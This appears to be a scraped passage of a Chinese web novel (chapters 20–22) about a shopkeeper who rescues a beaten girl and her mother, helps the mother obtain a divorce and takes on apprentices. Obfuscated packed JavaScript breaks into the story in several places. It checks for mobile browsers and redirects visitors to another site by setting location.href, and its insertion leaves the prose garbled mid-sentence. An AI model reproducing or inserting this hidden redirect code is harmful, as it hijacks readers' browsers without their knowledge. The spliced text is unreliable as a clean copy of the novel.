“盼儿！我的盼儿！”蔡锦娘喉咙里发出一声嘶哑的哭喊，声音因为受伤和激动而破碎不堪。 她甚至忘记了怀里还有吃奶的孩子，踉跄着扑上前，一把将孙盼儿紧紧搂入怀中，仿佛要将女儿揉进自己的骨血里。 “吓死娘了！娘以为……以为……” 她泣不成声，枯瘦的手臂死死抱着女儿单薄的身体，浑身剧烈地颤抖，怀里的婴儿被挤压得不舒服，哇哇哭了起来。 孙盼儿也哭了，小手紧紧抓住母亲破烂的衣襟，断断续续地抽噎：“阿娘别怕，盼儿没事，是这位姐姐，还有那位顾大哥，他们救了盼儿……阿爷、阿爷被官差抓走了……” 蔡锦娘闻言，猛地一震，抱着女儿和婴儿，抬起泪眼婆娑的脸，这才真正看清站在门口的裴清梧和顾恒。 裴清梧衣着虽然不算奢华，但料子也算上乘，顾恒更是挺拔如松，眼神锐利，腰间佩刀，气势迫人。 是以，蔡锦娘下意识地就要抱着两个孩子跪下去。 “贵人、贵人恕罪……民妇……” 她语无伦次，身体抖得像风中的落叶。 丈夫被抓走的消息让她本就惊恐的心更加六神无主，在这个时代，失去丈夫对一个贫贱妇人意味着灭顶之灾，即使那丈夫是个恶魔。 裴清梧眼疾手快，一步上前扶住了蔡锦娘摇摇欲坠的身体。 入手处，隔着薄薄的衣衫，她能清晰地感觉到妇人身上硌人的骨头，以及手臂上几处尚未消肿的硬块。 “不必多礼。”裴清梧柔声道：“我不是贵人，只是酥山小集的东家，更不是来问罪的，是盼儿带我们来看看你，你……伤得很重。” 蔡锦娘被裴清梧扶着，不敢完全站直，依旧佝偻着腰，眼泪大颗大颗砸在地上：“谢、谢贵人关心……民妇、民妇没事……都是皮外伤……” 她想扯出一个笑容表示自己还好，却牵动了嘴角的伤口，疼得倒吸一口冷气。 借着昏暗的光线，裴清梧的目光扫过这间破败的屋子。 家徒四壁这个词，在这里得到了最真实的诠释。 墙角用石块和烂泥垒了个土灶，灶膛里只有冰冷的灰烬，一张歪斜的矮桌缺了腿，用石头垫着，所谓的床铺就是角落里铺着的一层薄薄发黑的稻草，上面堆着一床破得露出棉絮的薄被。 天色已完全暗了下来，远处隐约传来坊门关闭的沉重声响和衙役们巡街的梆子声。 宵禁马上开始了。 裴清梧听到了声音，知道时间紧迫，轻轻拍了拍蔡锦娘的胳膊：“我给你机会，你愿不愿意跟我走？去过一种崭新的生活？” 20. 生辰喜悦 “我知你与他，是少年夫妻，你曾经是认定了他的，也知女子谋生不易，你没勇气出走，可若你愿意，我帮你，我帮你与他和离，我帮你求一条生路。” “一切皆在你，就看你愿不愿意了。” 半晌，蔡锦娘抬头，泪如泉涌。 “我知贵人好心，可是，我什么也不会，只会浆洗缝补衣物，再者，我已经生了小福儿，孩子还小，不能没有阿爷。” “何况他被官差教训一顿，他就知道改了，他会改的，贵人，他会改的……” 锦娘喃喃自语着，仿佛是在麻痹着什么：“只求贵人，带走我的盼儿吧，盼儿好好的，我这心，也就安了。” 裴清梧正欲再劝，可宵禁的梆子不等人，无奈，她也只能拂袖离去：“总有一天你会想明白的，到那时，再来找我也不不迟。” 临走前，她不仅带走了孙盼儿，还在桌上放了一锭银子。 她和顾恒一路疾行，总算在坊门彻底关闭前赶回了酥山小集。 推开后院的角门，温暖的食物香气混合着蒸腾的热气扑面而来，立刻驱散了冬夜的寒意。 厨房里灯烛明亮，围着襕袍、打着襻膊的银岚正守在炉膛边，小心翼翼地看着锅里翻滚的粥糜。 听到动静，她扭头一看，见东家裴清梧和顾恒回来，脸上刚浮起笑容，目光随即落在了她身边那个的小女孩身上，见那孩子衣衫破旧，头发枯黄，怯生生缩着，顿时吃了一惊，手里的木勺都差点掉进锅里。 “东家，这、这孩子是？”银岚放下勺子，快步迎上前，瞪大了眼睛上下打量着孙盼儿。 小女孩被她看得更加瑟缩，直往裴清梧身后躲。 裴清梧轻轻拍了拍孙盼儿单薄的肩膀，将她稍稍带到身前，对银岚低声道：“路上遇到的可怜孩子，她娘脱不开身，托我照看一阵，此事说来话长，晚些时候再与你细说……银岚，先给她弄点热乎的吃食，要容易克化的。” 银岚见裴清梧神色郑重，又见那孩子形容狼狈不堪，心中已然猜到几分，立刻收敛了惊讶，声音放柔了许多：“哎，好嘞！正好我熬了粟米粥，做了些素毕罗，馅儿是蒸熟的菘菜①和木耳，还热乎着！这就给这小娘子盛来。” 这时，听到动静的茜桃也从旁边的厢房走了过来。 “东家和小阿恒回来了？”她目光落在孙盼儿身上时，心口像是被什么揪了一下。 这孩子身上的污垢、脸上的惶恐，让她瞬间想起了自己早年在醉月楼见过的那些卖来的女孩儿。 “茜桃，”裴清梧唤道：“这孩子叫盼儿，你先带她去好好梳洗一番，务必洗干净些，换身干净的衣裳。” “是，东家。”茜桃应下，走到孙盼儿面前，蹲下身，脸上绽开一个温柔的笑容，声音轻得像怕惊飞了小鸟：“盼儿小娘子，跟阿姐来好吗？咱们去洗个热水澡，舒舒服服的。” 孙盼儿在陌生环境里本就惧怕，但茜桃的笑容让她稍稍安定，她迟疑地点点头，小手试探地伸向茜桃。 茜桃牵住那只冰凉的小手，只觉得心又沉了几分。 她带着孙盼儿走向早已备好热水的净房，褪去孙盼儿那身又脏又破、几乎看不出原色的旧衣时，茜桃的动作轻得不能再轻。 然而，当衣衫逐渐褪下，伤痕暴露在摇曳的烛光下，小姑娘的后背、手臂、大腿，皆布满了新旧交叠的青紫痕迹，看得茜桃只觉喉咙发紧，强烈的酸楚直冲眼眶。 她咬了咬嘴唇，强忍着不让眼泪掉下来，可还是在看到一个尤其深的疤痕时，鼻子一酸，泪水终究是没能忍住，大颗大颗地砸进了澡盆的水里。 “疼吗？”茜桃的声音带着浓重的鼻音，柔软的布巾避开伤口，小心翼翼地擦拭。 孙盼儿缩了缩，摇摇头，又点点头，小声嗫嚅：“以前疼……现在……不碰就不疼了……” 茜桃心痛如绞，不再多问，只是手上的动作愈发轻柔，如同对待一片易碎的琉璃。 洗净污垢，换上一身崭新的细麻浅碧色半臂襦裙，茜桃又为她擦干头发，松松挽了两个可爱的丫髻。 清洗干净的孙盼儿，虽然依旧瘦小，面色也带着长期营养不良的蜡黄，但眉目清秀的底子显露出来，仿佛一株被拂去尘埃的柔嫩小草。 当茜桃牵着焕然一新的孙盼儿回来时，银岚已经将热腾腾的粟米粥和几枚小巧晶莹的素毕罗摆在了食案上，还有一小碟咸香的酱瓜。食物的香气弥漫开来。 “盼儿，快来，趁热吃！”银岚热情地招呼，眼神在看到孙盼儿洗白后的小脸时，也柔和了许多。 孙盼儿眼睛直勾勾地盯着食物，尤其是那几个散发着麦香和蔬菜清香的毕罗，咽了咽口水，却不敢动。 裴清梧坐在一旁，温声道：“吃吧，盼儿，这是银岚特意为你做的。” 得到许可，孙盼儿才小心翼翼地拿起一个毕罗，小口小口地咬起来，吃得又快又急，却又努力保持着一点可怜的斯文。 显然饿得很了，又怕吃相难看惹人厌烦。 这样想着，裴清梧又默默地给她碗里添了小半碗温热的粥。 待孙盼儿吃得差不多了，速度慢下来，裴清梧才放下手中的茶杯，温和而郑重地对她说：“盼儿。” 孙盼儿立刻放下手里剩下的毕罗，紧张地坐直了身体。 裴清梧放缓了语气：“从今往后，你便住在这里了，‘孙盼儿’这个名字……不好。” 她顿了顿，观察着孩子的反应：“你长大了，是个懂事的孩子。我想问问你，你可愿意，随你阿娘的姓氏，改一个名字？一个新名字，新的开始。” 屋里一时安静下来，只有灯花偶尔爆开的细微声响。 顾恒、银岚和茜桃都屏息看着孙盼儿。 孙盼儿低下头，看着自己身上崭新的衣裙，又想起阿娘最后含泪推她出来时那充满不舍与决绝的眼神。 阿爷带给她的，似乎只有疼痛和恐惧。 她的小手在膝上悄悄攥紧了衣料。 过了好一会儿，她才抬起头望向裴清梧，用力地点了点小脑袋：“嗯！我愿意改名！随阿娘姓！” 声音虽轻，却带着一种小小的坚定力量。 裴清梧眼中闪过一丝欣慰，唇角漾开温柔的笑意：“好。那从今日起，你便姓蔡了。” 她沉吟片刻，窗外的风掠过庭院枝叶，发出沙沙轻响。 “‘念慈’如何？蔡念慈……念兹在兹，心存慈悯，愿你记住母亲的慈爱，也愿这世间待你以慈心。” “蔡、念、慈……”小女孩喃喃地重复着这个崭新的名字，清澈的眸子里，渐渐亮起了崭新的光彩。 银岚于一旁笑着拍手：“蔡念慈？好名字！听着就大气又温柔！念慈小娘子，恭喜你啦！” 念慈就这般，在酥山小集住下。 大家见她年幼，又可怜她的身世，便颇多照拂，只让她或在院中待着，或出门寻同龄人玩耍，可念慈是个要强懂事的孩子，抢着干些杂活。 “洒扫庭院，浆洗衣物，我是做惯了的，姐姐们尽管交给我便是！” 见拦不住她，裴清梧索性询问道：“让你做些别的，你愿意吗？譬如，跟我学做点心，学记账，还可以读书。” 念慈哪有不愿意的，她本就聪慧伶俐，这些时日冷眼旁观着，明白裴清梧之所以有底气，就是因为有手艺，能养活自己。 “愿意！” 裴清梧笑了，伸手揉了揉她的脑袋：“好孩子。” 转眼，便是正月二十，顾恒十六岁的生辰。 这一日，裴清梧特地提前闭店，腾出半日，要给他好好庆贺。 厨房里热气蒸腾，香气四溢。 银岚和茜桃忙得脚不沾地，脸上却洋溢着喜气，裴清梧更是亲自掌勺，要为顾恒做一桌丰盛的生辰宴。 食案上很快摆满了诱人的佳肴，除两道行白浑羊殁忽和金齑玉脍外，另有旁的美食。 有暖寒花酿驴蒸，精选的驴肉切块，与陈年花雕酒、葱姜、花椒、桂皮等香料一同入釜蒸得酥烂入味，酒香与肉香完美融合，汤汁浓郁，肉嫩而不柴，入口即化，正是驱寒暖身的佳品。 有遍地锦装鳖，整只甲鱼精心炖煮，汤汁浓稠呈金黄色，甲鱼肉软糯胶质丰富，上面铺满了鲜嫩的羊肚菌、嫩笋片、枸杞子和金黄色的蛋皮丝，宛如锦绣铺地，鲜美异常。 有素雪霞羹：用新鲜冬笋、嫩豆腐、银耳、百合熬制的羹汤，色泽洁白如雪，点缀着几点嫣红的枸杞，清淡雅致，鲜甜可口。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282111|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 还有金银夹花平截，这是裴清梧拿手的精致点心，用蒸得松软的面皮，一层层夹着细腻的枣泥馅和豆沙馅，切得方方正正，截面花纹如同金银交错，香甜软糯。 主食为新蒸的雕胡饭，颗粒饱满，散发着特有的清香。 顾恒看着满桌香气扑鼻的精美菜肴，眼睛都直了，只觉得如在云端，平日清冷的脸上，难得地显出几分少年人的局促和惊喜。 “东家，这，这也太……”他一时竟不知该如何表达。 “生辰嘛，自然要隆重些。”裴清梧笑着拍拍他的肩，示意他坐下。 念慈也换上了茜桃新给她做的桃红色小袄，乖巧地坐在一旁，大眼睛亮晶晶地看着满桌美食。 “先别急，还有压轴的呢。”裴清梧神秘一笑，转身进了厨房。 片刻后，她端着一个木托盘出来。 托盘上放着一个从未见过的物事：一个圆形的糕体，雪白蓬松，表面覆盖着一层细腻洁白的凝脂，初雪一般，糕体上还用煮得浓稠的石蜜勾勒出简单的花纹，另有一些鲜红的果子点缀。 最醒目的，是糕体中央，用山楂片拼出了一个“恒”字。 “生辰快乐，小阿恒！”裴清梧将托盘放在食案中央：“这叫‘生辰糕’，在我的家乡，过生辰都要吃这个，寓意步步高升，岁岁平安……来，许个愿，然后吹灭它。” 她边说，边在糕体周围插上了十六根小小的蜡烛，用火折子一一点燃。 摇曳的烛光，映照着少年惊愕又感动的面容。 在银岚、茜桃、念慈和裴清梧含笑的目光注视下，顾恒笨拙地闭上眼，双手合十，嘴唇无声地动了动。 随即，他鼓起腮帮子，用力一吹，十六点微小的火光瞬间熄灭，只余下淡淡的青烟。 “哇！”念慈忍不住小声惊叹，觉得这仪式新奇极了。 “好！开席！”茜桃笑着拍手。 裴清梧拿起小刀，仔细地将那雪白蓬松的生辰糕切开分给众人。 入口是松软绵密，带着蛋香和奶香，表面那层凝脂细腻微甜，中和了糕体的朴实口感，配上酸甜的果子，新奇又美味。 顾恒小心翼翼地吃着属于自己的那块，只觉得甜意一直沁到心底，这是他十六载人生中，吃过最珍贵、最难忘的食物。 席间，裴清梧端起斟满松醪酒②的酒杯，对着顾恒郑重道：“小阿恒，过了今天，你就是十六岁了，愿你今后鹏程万里，平安喜乐，做自己想做的事，成为自己想成为的人。” 顾恒连忙站起来，俊脸瞬间涨得通红，一直红到了耳根。 他手足无措地端起自己的酒杯，声音都有些发紧：“谢、谢谢东家！定不负阿姐期许！” 说罢，仰头一饮而尽，酒意混着赧然，让他眼神都有些迷蒙。 宴席在温暖欢快的气氛中进行，直至夜色深沉。 散席后，念慈看着桌上还有许多未曾动过的精美菜肴，尤其是那盘没吃完的生辰糕，轻轻拉了拉裴清梧的衣袖：“东家姐姐……这些……我能、能包一些走吗？我想带给我阿娘尝尝……” 她声音越说越小，带着小心翼翼的期盼：“她……她可能一辈子也没吃过这么好吃的……” 裴清梧看着念慈眼中的孺慕和期盼，心中一软，立刻点头：“当然可以。银岚，茜桃，快拿食盒来，各样都拣些好的，特别是那暖寒花酿驴蒸和金银夹花平截，再切两块生辰糕包好。” 念慈小脸上顿时绽放出灿烂的笑容，连连鞠躬：“谢谢东家姐姐！谢谢银岚姐姐！谢谢茜桃姐姐！” 不久，念慈便提着满满一食盒还带着温热的珍馐美味，满怀欣喜地小跑着离开，消失在坊间的夜色里。 小院内，众人收拾完碗筷，正围着火盆闲话，银岚还打趣顾恒脸红得像煮熟的虾子，惹得顾恒又是一阵别扭。 突然，后院角门被猛地撞开。 念慈小小的身影如同受惊的兔子般冲了进来，她发髻散乱，脸上毫无血色，一双大眼睛里充满了恐惧，径直扑到裴清梧脚下，死死抓住她的裙角，声音凄厉得变了调：“东家姐姐！救命！快救命啊！阿爷……阿爷他又在打阿娘！阿娘、阿娘快要被打死了！流了好多血……呜……求求您！救救我阿娘！” 21. 准备收徒 裴清梧闻言，当即就着急了，霍然起身：“快，快带我！” 顾恒闻言，道：“东家带我一起，我护着东家。” 左右孙癞子现在最害怕的人，除了秦州的官差，就是顾恒了，带上一个青壮男人，比孤身前去强。 “好，你跟我去。” 稳妥起见，裴清梧又叮嘱了银岚：“去找里正，报官，就说……要出人命官司了。” 甫一抵达那个破财小院，远远的，裴清梧就听见一声女人凄厉的尖叫，心头猛地一跳。 她太熟悉这种声音了。 大四时在区法院实习，跟着师傅开一个刑事案件的庭，被告是个将妻子活活打死的家暴男，警方调查的时候，发现他家里装了监控，清晰地拍下了施暴的全过程。 是以，这段监控录像，成为了公堂之上的铁证，在庭审的时候播放。 视频画面里，女人先是被暴怒的男人一脚踹翻在地，而后揪着头发，拳头如雨点一般落下，一拳一拳又一拳，起先还能尖叫求饶，后来声音越来越弱…… 再到后来，她便没了生息，可男人还不放过她，抓着她的头发往桌角撞，沉闷的声音听得人胆战心惊。 这一段录像，成了裴清梧的噩梦源泉，有段时间，她只要闭上眼睛，脑海里就会自动浮现这凄惨的一幕。 邻居们围在外头，指指点点，面露不忍，但显是已经习惯了这种事的发生，或者说，为明哲保身，不愿多管闲事。 见裴清梧要往里边进，一个大娘还伸手扯住了她：“小娘子，你还是别管了，那孙癞子疯得很，到底人家是两口子，锦娘也是个死心眼的，万一回头又和好了……” 裴清梧抿了抿唇，对上念慈哀求般的目光后，还是轻轻将大娘的手拂了下来，带着顾恒大步走进屋内。 正在此时，官府的衙役也到了。 深夜的寂静，被杂乱的脚步踏碎。 孙癞子正骑在锦娘身上，面目狰狞地抽她耳光，裴清梧见状，立刻暴喝了一声：“住手！” 顾恒也极默契地，在她话音还没落地的时候就冲了上去，一把掀翻了孙癞子。 “臭娘们，你，你还敢叫人——” 孙癞子话没说完，便被顾恒用刀柄打掉了半口牙。 “嘴里这般不干不净，合该被打！” 衙役们一拥而上，将孙癞子捆起来，为首的正是那日将他丢进牢狱的武侯，拿过火把一照，认清楚人的时候，厌恶道：“又是你！里边没待够么？真是无法无天了！” 裴清梧将锦娘扶起来，到一边的榻上坐下，念慈立刻上前，拉住她的手，心疼地唤娘。 锦娘被打青了眼角，打红了脸颊，半边脸都是肿胀的，额头渗出血迹，将发丝黏在上边，走路时一瘸一拐。 “今日，多谢贵人……” “你该谢的，是你的女儿。”裴清梧沉声道：“事到如今，你还想着，他会改吗？” 锦娘默然。 “孙癞子虽再一次被官差带走，但夫殴妻，不算大罪，里头待几日就出来了，我不能时时刻刻都过来护着你，你真不怕哪一日他下手一重，要了你的性命么？！” “我再问你最后一遍，我会给你一个重头开始的机会，你，愿不愿意？” 锦娘闻言，凄凄哀哀地哭了起来，泪水怎么也止不住：“我，我又能有什么办法呢……我爷娘都没了，哥嫂搬了家，无人给我撑腰做主，他再怎么不好，也能养活我，我……” 念慈急了，踮着小脚就去擦母亲的眼泪：“阿娘不哭，阿娘不哭……” 裴清梧道：“养活自己容易，我是酥山小集的东家，铺子里缺人手，我可以给你工钱，可以给你住处，你若是不愿意在我那里做了，我也可以引荐你去别的地方，不比在这里挨打强？” 锦娘茫然了一会儿，道：“可以么？” “自然可以，我也是女子，已靠这双手养活了自己，你也有手有脚，为什么不可以？” 一时四下寂静，只余风声。 良久，锦娘挣扎着下拜：“承蒙贵人抬举，若是真能脱离苦海，您，就是我的再生父母，救命恩人了……” “不要这么说，我也只能引路，人终究是要自救。”裴清梧伸手，将她扶了起来：“先随我回去吧，养好伤，我助你和孙癞子和离。” 裴清梧行事，向来雷厉风行，第二日便着手办理锦娘之事。 本朝律法虽规定“夫妻义绝则离”，“殴妻至折伤”亦属义绝范畴，但实际操作中，妻子的处境仍极为被动。官府判决“和离”或强制离异，往往阻力重重，唯有丈夫同意签署放妻书这一条，最为稳妥有效。 她带着顾恒，再次踏入秦州府衙，直直地找到那日带队抓捕孙癞子的武侯长，郑重道谢后，递上一个装满了铜板的布袋：“昨日多亏差官及时赶到，才免去一场惨祸，这点子心意，给兄弟们添些酒钱，万望笑纳。” 武侯长掂量了一下，脸上露出笑容：“裴娘子客气了，份内之事。” 裴清梧顺势提出请求：“那孙癞子屡教不改，视律法如无物，锦娘母子实在可怜，求活命罢了。我想助她和离脱身，只是这放妻书，烦请差官行个方便，允我与那孙癞子当面商议一二？” 武侯长自然明白她的意图，孙癞子恶名昭著，牢中无人待见，更何况裴清梧出手大方，又在公主面前得脸，略一沉吟后，便点头应允，低声道：“稍待片刻，我安排。” 阴暗潮湿的牢房里，孙癞子蜷缩在角落，脸上还残留着顾恒刀柄留下的青紫和牙齿脱落的血迹。 看到裴清梧和顾恒进来，尤其是顾恒冰冷的目光扫过他时，他下意识地缩了缩脖子。 裴清梧开门见山，声音不大，却字字清晰：“孙癞子，锦娘我要带走，签了这份放妻书，你们两清，儿女归锦娘抚养，你不得纠缠。” “放屁！”孙癞子梗着脖子，眼中凶光一闪：“那是我婆娘！我花了钱娶回家的！凭什么你说带走就带走？要我放人？门都没有！等老子出去……” “啪！” 一声脆响打断了他的叫嚣，顾恒一步上前，反手一记凶狠的耳光，打得孙癞子眼冒金星，彻底懵了。 裴清梧俯视着他，冷声道：“凭你昨日当众殴妻，罪证确凿，人证俱在！凭按律法，殴妻至伤者徒一年，你自己掂量，是现在签了这张纸，从此桥归桥路归路，还是我让你再在这牢里多待上三五载？甚至……” 她微微停顿，声音更冷：“让你永远出不去了？” 她身后的顾恒配合地将手按在腰间刀柄上，指节捏得发白。 孙癞子对上顾恒那双毫无感情的眼睛，又想起昨夜被打掉牙的剧痛和裴清梧与官差熟稔的模样，那点虚张声势的凶悍，瞬间烟消云散。 巨大的恐惧攫住了他，他毫不怀疑这女人说到做到。 “我、我签！我签就是了！”他几乎是哭嚎出来，颤抖着手，在那个武侯长递过来的放妻书契约上按下了歪歪扭扭的手印。 文书上写明：夫妻不和，情愿和离，自此各归本宗，永无争讼。子女归属其母蔡锦娘抚养。 拿到这份放妻书，裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴清梧笑道：“你做的汤，自然是再好喝不过了。” 说着，她拿起调羹，舀一口吹凉了，送入口中。 虾丸滑入唇舌，外层柔嫩如云，内里马蹄咯吱脆响，鲜甜汁水瞬间迸发。 鸡皮吸饱了汤汁的精华，软糯中透着胶质的黏滑，与紫菜的海味缠绵交织。 温热的汤滑过喉咙，鲜味化作暖流淌入肺腑，余韵里还有马蹄的清爽，末了，只留满口鲜香。 “嗯，好喝！也给锦娘送一碗吧，明义还小，正吃奶呢。” 银岚道：“这个东家放心，我早就想到了，方才还买了只母鸡回来，预备煲汤给锦娘补补身子呢。” 说着，她叹道：“可怜见的，我以前为奴为婢，都没见挨过这样重打的人……” “是啊，这世间，女子生活总是不易。” “想来锦娘，也是没有办法，毕竟她得靠孙癞子养活……说起来，我老家的一个婶子，就是被丈夫打死的，怀着孕，也要挨打，她丈夫打她，就跟打沙袋似的，最后带着肚子里的孩子一起走了，我那时候就想，做人还是得硬气些，都是爷生娘养的骨肉，凭什么受这般磋磨，可是，转念一想，硬气之后，该如何自处呢？” “是啊……”裴清梧摩挲着汤碗沉吟。 女子不敢和离，除某些恋爱脑晚期之外，另有原因，就是她们离了丈夫，实在是没法养活自己，不得已只能拴在那人身上。 “银岚，你看这样如何，我们的生意，终归是要做大的，后厨只你我二人，哪里忙得过来？不如，收一些女孩子做徒弟，教她们怎么做点心，即便在我们这里不长久，也有了手艺傍身，不至于将来遇上什么事，只能想到死路上去啊。” 22. 小顾吃醋 裴清梧动作利索，没过几天，收徒的告示就传了出来。 由于还是在摸索阶段，她便只要两名，年纪在二十上下，有下厨经验者优先，要勤快的，手脚利索的，包吃住，学成之后，每月还有工钱，若是不想继续在酥山小集做，须付违约金。 消息一出，不少人便动了心思。 秦州人人知道，酥山小集发展势头极好，掌柜的又得赵使君和寿春公主欢心，生意兴隆，若是能跟她学到本事，以后不愁安身立命。 更重要的是，裴东家是个女子，可比大男人们安全。 是以，正式考核那天，铺子门前络绎不绝，都是符合条件的女孩子，个个眼里闪着期盼。 裴清梧挑了一上午，总算挑出两个来。 头一个叫沈五娘，约莫十九岁年纪，个子高挑，身板结实，一看就是做惯了活计的。 她脸庞圆润，肤色是健康的麦色，一双眼睛又大又亮，透着农家姑娘的淳朴和机灵，鼻梁不高但挺直，嘴唇稍厚，笑起来露出一口整齐的白牙，显得格外憨厚可亲，虽然不算顶漂亮，但那股子蓬勃的生气和利落劲儿，让人看着就觉得踏实。 另一个唤作于意，年纪稍小些，刚满十七。 她身形纤细，比沈五娘矮了半个头，显得有些单薄，巴掌大的小脸，下巴尖尖的，肤色是长期劳作的微黯，带着点营养不良的苍白。 最引人注意的是她那双眼睛，瞳仁又黑又亮，像浸在水里的墨玉，因多有操劳，她的手指倒是意外的纤长，只是指节处微有薄茧，显是做过细致活计。 看着眼前这两个眼神明亮、带着期盼和忐忑的少女，裴清梧清了清嗓子，神情认真起来：“沈五娘，于意。” 二人立刻挺直了背，屏息凝神。 “从今日起，你们就是我酥山小集的学徒了。”裴清梧的目光在两人脸上扫过：“有几句话，须得跟你们事先说清楚，你们记牢了。” “第一，学艺要用心，更要肯下苦功，这里头的讲究，比你们在外头想的要深得多，点心吃食，最是讲究干净、细致、火候、巧思，一丝一毫马虎不得，稍有差池，轻则味道不佳，重则损了招牌，勤快是根本，更要动脑子。” “第二，规矩要守，没有规矩不成方圆，铺子里的规程、用料的分寸、待客的礼数，这些都是既定的，工契上写得分明，学艺期间包你们吃住，学成后按劳付酬，但有一条，手艺没学成或者学成后未干满约定年限就想走的，那违约的罚则，你们也都知晓了。” 说到这里，她停顿片刻，看着两人郑重点头，才继续道：“第三，也是顶顶要紧的：洁净，做入口的东西，干净是第一等的大事，头发、指甲、衣衫，时刻都得清爽齐整，做活前后，务必净手，点心最忌污手汗气，一丝异味都不能有，若被我瞧见谁在这上头犯懒、疏忽……” 她眼神一凛，没有说完，但其中的严厉已不言而喻。 见两个姑娘略有瑟缩之意，裴清梧的语气稍稍缓和：“你们年纪相仿，又一同入门，日后便是同门姐妹，要和睦互助，取长补短，莫要因一点小事就起龃龉，白白耽误了学本事，若有难处，若遇不懂，尽可来问我，莫要藏着掖着自己瞎琢磨。我既收了你们，便希望能带着你们把这门手艺学好学精，日后也好有个安身立命的本事。” “最后记住，在我这里，手艺是吃饭的本钱，诚信是立身的根本，只要你们用心学，踏实干，我这里亏待不了你们，日子还长着呢，好好学，好好干。” “是！师父！”沈五娘声音响亮，透着股热乎劲儿。 “都听师父的。”于意声音虽轻，却也清晰坚定，像小石子投入水面，激起小小的涟漪。 裴清梧看着她们眼中燃起的郑重光芒，心下微安。 这是两个新苗子，但愿能长成好树。 “行了，去安置行李，熟悉下住处和铺面，午饭过后，先跟银岚认认库房的用料器皿。” 银岚早就收拾了间厢房给她们住，见她们过来，热络道：“五娘，小意，你们且看看，这地方可有不妥之处？有的话尽管提，只把这里当自己家，莫拘束。” 沈五娘忙道：“银岚姐姐真是费心了，这里一切都好，我没有不习惯的。” 于意也跟着点头。 “那就好那就好，来，跟我到前头来，我给你们做了吃食……” 裴清梧见银岚将她们安置得妥当，也放下心来，只思虑着另一件事。 早春的寒意尚未褪尽，空气里带着料峭的冷风，她拢了拢衣襟，喉咙里忍不住又溢出两声压抑的轻咳。 “东家，你在想什么？” 一个低沉温和的声音响起，同时，一股带着暖意的甜香飘近。 裴清梧抬头，见是顾恒端着一只青瓷碗走了过来，碗里是刚熬好的汤饮，热气氤氲，隐约可见里面浮着几颗饱满的红枣和几片嫩姜，散发着驱寒暖身的香气。 “这几日总见东家有咳嗽，我便跟银岚姐姐学了，怎样熬姜枣茶，给东家祛祛寒。” “阿恒有心了，真是多谢。”裴清梧接过，小口小口地啜饮着。 温热的液体滑过喉咙，带来舒适的熨帖感，那点痒意被暂时压了下去。 “所以东家，在为什么忧心忡忡呢？”顾恒又问了一句。 裴清梧咽下一口甜汤，才缓缓开口：“我在想，铺子里女孩子越发多了，银岚、茜桃、锦娘、念慈……如今又添了五娘和小意，虽说都在后院，前头有你在，但毕竟只你一个护卫，平日里又要兼顾采买、看顾门户、应对些杂事，一来怕是忙不过来，二来，总觉得单薄了些。” 她顿了顿，目光转向顾恒，带着商量的口吻：“我便想着，要不要再寻一个可靠的人来？主要是帮着你看守门户，夜里也能帮着巡一巡，这样你也松快些，铺子里也更周全。” 顾恒脸上的温和笑意微微凝滞了一下，垂下眼眸，看着裴清梧捧着碗的手指，沉默了片刻，再抬眼时，声音比刚才低了一些：“东家，是觉得我做得不够好吗？” 裴清梧微微一怔，随即失笑：“哪里的话！你做事最是妥帖周全，有你在，我心里不知多踏实，但正因为知道你辛苦，才想着再添个人来分担，并非你做得不好。” 她看着顾恒依旧微蹙的眉心和绷紧的下颌线，心中了然，明白了他此刻的别扭从何而来。 顾恒从小长在那样的环境里，没有安全感，是正常的，而此刻更像是被信赖位置可能被分薄的不安。 顾恒听了她的解释，紧绷的神色似乎缓和了一丝，但他还是执着地低声补充：“东家既如此说，顾恒明白了，只是不论东家这里再添多少人，顾恒……” 他抬起头，目光灼灼地看着裴清梧，一字一句清晰道：“总归是第一个跟着东家的，无论何时，顾恒都会守在东家身边，护你和铺子周全。” 这话说得直白又郑重。 裴清梧心头微微一暖，看着眼前这个高大挺拔的少年、过了十六岁生辰后，他又章高了不少，也更俊了，已经慢慢在向男人过渡了。 唇角不由自主地弯起，自然而然地伸出手，揉了揉顾恒的头发，动作带着安抚的亲昵：“知道了，这份忠心，我记着呢。” “我们小阿恒啊，是第一个跟着我的。” 顾恒被这一句话逗得，倏尔红了脸色，裴清梧看他这副模样，眼中笑意更甚。 吃过午饭后，裴清梧便带着顾恒，去口马行买人。 口马行里还是如同之前那样，人头攒动，气味混杂。 裴清梧目标明确，只想寻个稳重可靠、孔武有力、品性过关的成年男子做护卫。 但她一个个看过去问过去，不是面相太过凶恶，让她担心吓着铺子里的姑娘们；就是体格虽壮，眼神却闪烁飘忽，显得不够踏实；再不然就是年纪太轻，毛躁气还未褪尽，难以让人放心托付夜间门户。 好容易找到一个看着不错的，结果一问，他之所以被打发到这里来，是因为跟主家的丫鬟有苟且。 想起铺子里那一群如花似玉的姑娘，裴清梧连连摆手说不要。 顾恒则默默跟在裴清梧半步之后，警惕的目光扫视着四周，偶尔在裴清梧靠近某个看起来体格特别健硕的男子时，眉头会几不可察地微蹙一下。 虽并未出声干预，但他周身散发出的“生人勿近”的气息，让一些本想凑近推销的牙人都不自觉退了半步。 时间一点点过去，日头西斜，裴清梧看得眼睛发酸，心头也渐渐涌上几分焦躁。 合适的护卫并不似想象中好找。 “裴东家？真是巧遇！” 正在此时，一个清朗带笑的声音自身后传来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 